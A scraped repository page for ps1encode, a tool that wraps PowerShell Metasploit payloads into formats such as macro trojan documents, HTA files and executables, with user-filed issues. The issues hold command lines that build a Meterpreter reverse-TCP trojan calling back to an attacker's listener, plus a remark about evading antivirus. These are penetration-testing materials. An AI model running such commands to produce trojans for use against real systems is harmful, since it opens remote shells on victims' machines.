Git Product home page Git Product logo

ps1encode's Introduction

ps1encode

Use to generate and encode a powershell based metasploit payloads.

Writen by Piotr Marszalik - @addenial - peter.mars[at]outlook.com

  • orginal version - 05/08/2013

Available output types:

  • raw (encoded payload only - no powershell run options)
  • cmd (for use with bat files)
  • vba (for use with macro trojan docs)
  • vbs (for use with vbs scripts)
  • war (tomcat)
  • exe (executable) requires MinGW - x86_64-w64-mingw32-gcc [apt-get install mingw-w64]
  • java (for use with malicious java applets)
  • js (javascript)
  • js-rd32 (javascript called by rundll32.exe)
  • php (for use with php pages)
  • hta (HTML applications)
  • cfm (for use with Adobe ColdFusion)
  • aspx (for use with Microsoft ASP.NET)
  • lnk (windows shortcut - requires a webserver to stage the payload)
  • sct (COM scriptlet - requires a webserver to stage the payload)

Powershell code based on PowerSploit written by Matthew Graeber and SET by Dave Kennedy

DETAILS:

ps1encode's People

Contributors

addenial avatar ihamburglar avatar pred11 avatar tylerschmidtke avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

ps1encode's Issues

Good but Gets detected....

This really should not be an issue but I am just posting this to let other people know...
ps1encode is really good, it does not get caught until the victim opens the file, but it gets caught because the anti virus saw it doing a Evo-Gen activity.

No encoders detected

Hi please can you help me? When i put the command ""./ps1encode.rb --lhost 192.168.0.11 --lport 4444 --payload windows/meterpreter/reverse_tcp --encode exe"" i get an message error ''No encoder specified, outputting raw payload'' but i specified a exe encoder...Thaks you

Kali2 mingw32 logic test fails

When using ps1encode in Kali2 without required mingw32 dependency, logic test for it being installed passes and it says final_.exe is created with no exe. This is an issue if you are a dumb user like myself who forgets to install dependencies and then cannot find my shiny new Trojan named final_.exe that wasn't created.

Example log:
root@kali:/tmp# ruby ps1encode.rb -i IP-REMOVED -p 443 -t exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 347 bytes

compiling...
final_.exe created!
root@kali:/tmp# ls
file85Wsk9
ps1encode.rb
ssh-2xDtZUX4btJ4
systemd-private-90c7838a76be4338a5f23722e37c4db4-colord.service-zipEzF
systemd-private-90c7838a76be4338a5f23722e37c4db4-rtkit-daemon.service-Hyiaqe
tracker-extract-files.0
VMwareDnD
vmware-root
root@kali:/tmp# ls -la
total 68
drwxrwxrwt 13 root root 4096 Jan 25 13:40 .
drwxr-xr-x 25 root root 4096 Jan 11 09:49 ..
-rw-r--r-- 1 root root 0 Jan 22 15:03 file85Wsk9
drwxrwxrwt 2 root root 4096 Jan 22 14:48 .font-unix
drwxrwxrwt 2 root root 4096 Jan 22 14:49 .ICE-unix
-rwxr-xr-x 1 root root 10947 Jan 25 13:39 ps1encode.rb
drwx------ 2 root root 4096 Jan 22 14:49 ssh-2xDtZUX4btJ4
drwx------ 3 root root 4096 Jan 22 14:48 systemd-private-90c7838a76be4338a5f23722e37c4db4-colord.service-zipEzF
drwx------ 3 root root 4096 Jan 22 14:48 systemd-private-90c7838a76be4338a5f23722e37c4db4-rtkit-daemon.service-Hyiaqe
drwxrwxrwt 2 root root 4096 Jan 22 14:48 .Test-unix
drwx------ 2 root root 4096 Jan 22 14:49 tracker-extract-files.0
drwxrwxrwt 2 root root 4096 Jan 22 14:48 VMwareDnD
drwx------ 2 root root 4096 Jan 22 14:49 vmware-root
-r--r--r-- 1 root root 11 Jan 22 14:48 .X0-lock
drwxrwxrwt 2 root root 4096 Jan 22 14:48 .X11-unix
drwxrwxrwt 2 root root 4096 Jan 22 14:48 .XIM-unix
root@kali:/# locate final_.exe
root@kali:/# cd .

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.